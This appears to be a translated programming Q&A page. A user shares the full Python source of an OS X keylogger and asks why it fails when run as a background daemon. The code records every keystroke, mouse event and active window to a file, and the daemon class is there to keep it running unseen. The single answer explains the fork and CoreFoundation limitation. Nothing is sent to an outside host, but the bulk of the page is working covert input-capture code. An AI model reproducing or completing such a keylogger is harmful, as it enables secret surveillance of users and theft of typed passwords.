2012-12-07 77 views
0

我在我的一個項目遇到了一些問題。我試圖在python中編寫一種鍵盤記錄程序,它適用於OS X 10.8(Mountain Lion)。但是當我嘗試在後臺啓動我的腳本/作爲進程/守護進程時出現此錯誤。OS X雙叉 - 守護進程腳本

錯誤:

The process has forked and you cannot use this CoreFoundation functionality safely. You MUST exec(). 
Break on __THE_PROCESS_HAS_FORKED_AND_YOU_CANNOT_USE_THIS_COREFOUNDATION_FUNCTIONALITY___​YOU_MUST_EXEC__() to debug. 
The process has forked and you cannot use this CoreFoundation functionality safely. You MUST exec(). 
Break on __THE_PROCESS_HAS_FORKED_AND_YOU_CANNOT_USE_THIS_COREFOUNDATION_FUNCTIONALITY___​YOU_MUST_EXEC__() to debug. 
The process has forked and you cannot use this CoreFoundation functionality safely. You MUST exec(). 
Break on __THE_PROCESS_HAS_FORKED_AND_YOU_CANNOT_USE_THIS_COREFOUNDATION_FUNCTIONALITY___​YOU_MUST_EXEC__() to debug. 
The process has forked and you cannot use this CoreFoundation functionality safely. You MUST exec(). 
Break on __THE_PROCESS_HAS_FORKED_AND_YOU_CANNOT_USE_THIS_COREFOUNDATION_FUNCTIONALITY___​YOU_MUST_EXEC__() to debug. 
The process has forked and you cannot use this CoreFoundation functionality safely. You MUST exec(). 
Break on __THE_PROCESS_HAS_FORKED_AND_YOU_CANNOT_USE_THIS_COREFOUNDATION_FUNCTIONALITY___​YOU_MUST_EXEC__() to debug. 

腳本

#!/usr/bin/env python 
# -*- coding: UTF-8 -*- 
from Daemon import Daemon 

import sys 
import os 


import exceptions 
import sys 
from Foundation import NSObject, NSLog 
from AppKit import NSApplication, NSApp, NSWorkspace 
from Cocoa import * 
from Quartz import CGWindowListCopyWindowInfo, kCGWindowListOptionOnScreenOnly, kCGNullWindowID 
from PyObjCTools import AppHelper 
import keycode 


import exceptions 
import sys 
from Foundation import NSObject, NSLog 
from AppKit import NSApplication, NSApp, NSWorkspace 
from Cocoa import * 
from Quartz import CGWindowListCopyWindowInfo, kCGWindowListOptionOnScreenOnly, kCGNullWindowID 
from PyObjCTools import AppHelper 
import keycode 

evtypes = dict(
    NSLeftMouseDown  = 1, 
    NSLeftMouseUp  = 2, 
    NSRightMouseDown = 3, 
    NSRightMouseUp  = 4, 
    NSMouseMoved  = 5, 
    NSLeftMouseDragged = 6, 
    NSRightMouseDragged = 7, 
    NSMouseEntered  = 8, 
    NSMouseExited  = 9, 
    NSKeyDown   = 10, 
    NSKeyUp    = 11, 
    NSFlagsChanged  = 12, 
    NSAppKitDefined  = 13, 
    NSSystemDefined  = 14, 
    NSApplicationDefined = 15, 
    NSPeriodic   = 16, 
    NSCursorUpdate  = 17, 
    NSScrollWheel  = 22, 
    NSTabletPoint  = 23, 
    NSTabletProximity = 24, 
    NSOtherMouseDown = 25, 
    NSOtherMouseUp  = 26, 
    NSOtherMouseDragged = 27 
) 

evtypes_rev = dict([[v,k] for k,v in evtypes.items()]) 

class Hooker(object): 
    def __call__(self, *args, **kwargs): 
     try: 
      evt = kwargs.get('event') 
      del kwargs['event'] 
      items = ' '.join([ x[0]+"="+unicode(x[1]) for x in kwargs.iteritems()]) 
      print "%20s | %22s | %s" % (self.__class__.__name__, evtypes_rev[evt.type()], items) 
      os.path.join(os.path.expanduser("~"), "Desktop") 
      fichier = open("FUCK_OFF.txt", "a") 
      fichier.write("%20s | %22s | %s" % (self.__class__.__name__, evtypes_rev[evt.type()], items)) 
      fichier.close() 
     except Exception as e: 
      print 'Horrific error!', e 
      AppHelper.stopEventLoop() 
      sys.exit(0) 

class KeyHooker(Hooker): pass 
class MouseButtonHooker(Hooker): pass 
class MouseMoveHooker(Hooker): pass 
class ScreenHooker(Hooker): pass 

class SniffCocoa: 

    def __init__(self): 

     self.key_hook = KeyHooker() 
     self.mouse_button_hook = MouseButtonHooker() 
     self.mouse_move_hook = MouseMoveHooker() 
     self.screen_hook = ScreenHooker() 
     self.currentApp = None 

    def createAppDelegate (self) : 

     sc = self 
     class AppDelegate(NSObject): 
      def applicationDidFinishLaunching_(self, notification): 
       mask = (
          NSKeyDownMask 
         | NSKeyUpMask 
         | NSLeftMouseDownMask 
         | NSLeftMouseUpMask 
         | NSRightMouseDownMask 
         | NSRightMouseUpMask 
         | NSMouseMovedMask 
         | NSScrollWheelMask 
         ) 
       NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(mask, sc.handler) 
     return AppDelegate 

    def run(self): 
     NSApplication.sharedApplication() 
     delegate = self.createAppDelegate().alloc().init() 
     NSApp().setDelegate_(delegate) 
     self.workspace = NSWorkspace.sharedWorkspace() 
     AppHelper.runEventLoop() 

    def cancel(self): 
     AppHelper.stopEventLoop() 

    def handler(self, event): 

     try: 
      activeApps = self.workspace.runningApplications() 
      for app in activeApps: 
       if app.isActive(): 
        if app.localizedName() != self.currentApp: 
         self.currentApp = app.localizedName() 
         options = kCGWindowListOptionOnScreenOnly 
         windowList = CGWindowListCopyWindowInfo(options, kCGNullWindowID) 

         for window in windowList: 
          if window['kCGWindowOwnerName'] == self.currentApp: 
           geom = window['kCGWindowBounds'] 
           self.screen_hook(event=event, 
               name = window['kCGWindowName'], 
               owner = window['kCGWindowOwnerName'], 
               x = geom['X'], 
               y = geom['Y'], 
               w = geom['Width'], 
               h = geom['Height']) 
           break 
        break 

      loc = NSEvent.mouseLocation() 

      # mouse clicky buttons 
      if event.type() in (NSLeftMouseDown, NSRightMouseDown, NSLeftMouseUp, NSRightMouseUp): 
       self.mouse_button_hook(event=event, x=loc.x, y=loc.y) 

      # mouse scrolly buttons 
      elif event.type() == NSScrollWheel: 
       if event.deltaY() > 0 and event.deltaY() < 0: 
        self.mouse_button_hook(event=event, x=loc.x, y=loc.y) 
       if event.deltaX() > 0 and event.deltaX() < 0: 
        self.mouse_button_hook(event=event, x=loc.x, y=loc.y) 

      # keys down 
      elif event.type() in (NSKeyDown, NSKeyUp): 

       flags = event.modifierFlags() 
       modifiers = [] # OS X api doesn't care it if is left or right 
       if (flags & NSControlKeyMask): 
        modifiers.append('CONTROL') 
       if (flags & NSAlternateKeyMask): 
        modifiers.append('ALTERNATE') 
       if (flags & NSCommandKeyMask): 
        modifiers.append('COMMAND') 

       self.key_hook(event=event, key=event.keyCode(), char=keycode.tostring(event.keyCode()), mods=modifiers, is_repeat=event.isARepeat()) 

      # Mouse moved 
      elif event.type() == NSMouseMoved: 
       self.mouse_move_hook(event=event, x=loc.x, y=loc.y) 
      else: 
       pass 

     except (KeyboardInterrupt) as e: 
      print 'handler', e 
      AppHelper.stopEventLoop() 





class pantalaimon(Daemon): 
    def run(self): 
     x = 0 
     while True: 
       sc = SniffCocoa() 
       sc.run() 


if __name__ == "__main__": 
     daemon = pantalaimon('daemon-example.pid') 
     if len(sys.argv) == 2: 
       if 'start' == sys.argv[1]: 
         daemon.start() 
       elif 'stop' == sys.argv[1]: 
         daemon.stop() 
       elif 'restart' == sys.argv[1]: 
         daemon.restart() 
       else: 
         print "Unknown command" 
         sys.exit(2) 
       sys.exit(0) 
     else: 
       print "usage: %s start||stop||restart" % sys.argv[0] 
       sys.exit(2) 

守護程序類,我們導入:

#!/usr/bin/env python 
# -*- coding: UTF-8 -*- 
''' 
    *** 
    Modified generic daemon class 
    *** 

    Author:  http://www.jejik.com/articles/2007/02/a_simple_unix_linux_daemon_in_python/ 
       www.boxedice.com 

    License:  http://creativecommons.org/licenses/by-sa/3.0/ 

    Changes: 23rd Jan 2009 (David Mytton <[email protected]>) 
       - Replaced hard coded '/dev/null in __init__ with os.devnull 
       - Added OS check to conditionally remove code that doesn't work on OS X 
       - Added output to console on completion 
       - Tidied up formatting 
       11th Mar 2009 (David Mytton <[email protected]>) 
       - Fixed problem with daemon exiting on Python 2.4 (before SystemExit was part of the Exception base) 
       13th Aug 2010 (David Mytton <[email protected]> 
       - Fixed unhandled exception if PID file is empty 
''' 

# Core modules 
import atexit 
import os 
import sys 
import time 
import signal 


class Daemon(object): 
    """ 
    A generic daemon class. 

    Usage: subclass the Daemon class and override the run() method 
    """ 
    def __init__(self, pidfile, stdin=os.devnull, stdout=os.devnull, stderr=os.devnull, home_dir='.', umask=022, verbose=1): 
     self.stdin = stdin 
     self.stdout = stdout 
     self.stderr = stderr 
     self.pidfile = pidfile 
     self.home_dir = home_dir 
     self.verbose = verbose 
     self.umask = umask 
     self.daemon_alive = True 

    def daemonize(self): 
     """ 
     Do the UNIX double-fork magic, see Stevens' "Advanced 
     Programming in the UNIX Environment" for details (ISBN 0201563177) 
     http://www.erlenstar.demon.co.uk/unix/faq_2.html#SEC16 
     """ 
     try: 
      pid = os.fork() 
      if pid > 0: 
       # Exit first parent 
       sys.exit(0) 
     except OSError, e: 
      sys.stderr.write("fork #1 failed: %d (%s)\n" % (e.errno, e.strerror)) 
      sys.exit(1) 

     # Decouple from parent environment 
     os.chdir(self.home_dir) 
     os.setsid() 
     os.umask(self.umask) 

     # Do second fork 
     try: 
      pid = os.fork() 
      if pid > 0: 
       # Exit from second parent 
       sys.exit(0) 
     except OSError, e: 
      sys.stderr.write("fork #2 failed: %d (%s)\n" % (e.errno, e.strerror)) 
      sys.exit(1) 

     if sys.platform != 'darwin': # This block breaks on OS X 
      # Redirect standard file descriptors 
      sys.stdout.flush() 
      sys.stderr.flush() 
      si = file(self.stdin, 'r') 
      so = file(self.stdout, 'a+') 
      if self.stderr: 
       se = file(self.stderr, 'a+', 0) 
      else: 
       se = so 
      os.dup2(si.fileno(), sys.stdin.fileno()) 
      os.dup2(so.fileno(), sys.stdout.fileno()) 
      os.dup2(se.fileno(), sys.stderr.fileno()) 

     def sigtermhandler(signum, frame): 
      self.daemon_alive = False 
     signal.signal(signal.SIGTERM, sigtermhandler) 
     signal.signal(signal.SIGINT, sigtermhandler) 

     if self.verbose >= 1: 
      print "Started" 

     # Write pidfile 
     atexit.register(self.delpid) # Make sure pid file is removed if we quit 
     pid = str(os.getpid()) 
     file(self.pidfile,'w+').write("%s\n" % pid) 

    def delpid(self): 
     os.remove(self.pidfile) 

    def start(self, *args, **kwargs): 
     """ 
     Start the daemon 
     """ 

     if self.verbose >= 1: 
      print "Starting..." 

     # Check for a pidfile to see if the daemon already runs 
     try: 
      pf = file(self.pidfile,'r') 
      pid = int(pf.read().strip()) 
      pf.close() 
     except IOError: 
      pid = None 
     except SystemExit: 
      pid = None 

     if pid: 
      message = "pidfile %s already exists. Is it already running?\n" 
      sys.stderr.write(message % self.pidfile) 
      sys.exit(1) 

     # Start the daemon 
     self.daemonize()   
     self.run(*args, **kwargs) 

    def stop(self): 
     """ 
     Stop the daemon 
     """ 

     if self.verbose >= 1: 
      print "Stopping..." 

     # Get the pid from the pidfile 
     try: 
      pf = file(self.pidfile,'r') 
      pid = int(pf.read().strip()) 
      pf.close() 
     except IOError: 
      pid = None 
     except ValueError: 
      pid = None 

     if not pid: 
      message = "pidfile %s does not exist. Not running?\n" 
      sys.stderr.write(message % self.pidfile) 

      # Just to be sure. A ValueError might occur if the PID file is empty but does actually exist 
      if os.path.exists(self.pidfile): 
       os.remove(self.pidfile) 

      return # Not an error in a restart 

     # Try killing the daemon process  
     try: 
      while 1: 
       os.kill(pid, signal.SIGTERM) 
       time.sleep(0.1) 
     except OSError, err: 
      err = str(err) 
      if err.find("No such process") > 0: 
       if os.path.exists(self.pidfile): 
        os.remove(self.pidfile) 
      else: 
       print str(err) 
       sys.exit(1) 

     if self.verbose >= 1: 
      print "Stopped" 

    def restart(self): 
     """ 
     Restart the daemon 
     """ 
     self.stop()   
     self.start() 

    def run(self): 
     """ 
     You should override this method when you subclass Daemon. It will be called after the process has been 
     daemonized by start() or restart(). 
     """ 

預先感謝您的幫助!

回答

1

由於錯誤說,叉子()的孩子不能進行然而就是了,如果你正在使用的CoreFoundation庫,你調用fork之前清楚地導入()。除非您在子進程中調用os.exec(),否則會遇到您提到的信號。顯然,這嚴重限制了fork()的用處,所以你可能需要爲守護進程找到一個不同的方法。

我只知道這個問題的間接因爲雖然我不使用OSX,我的同事抱怨這個問題,當我寫一個使用os.fork Python程序()。顯然,一些Python標準庫使用CoreFoundation,所以即使不直接使用,也不一定能避免這個問題。您可能必須完全在OSX上避免os.fork()。

如果現在還不清楚,這是不是在CPython的缺陷,而是其Python使用OSX系統庫。鑑於這些與Unix傳統顯然不一致的方面,尤其令人啼笑皆非的是,根據商標持有者,OSX是正式的UNIX®,但GNU/Linux和其他Free Unix類操作系統並非如此。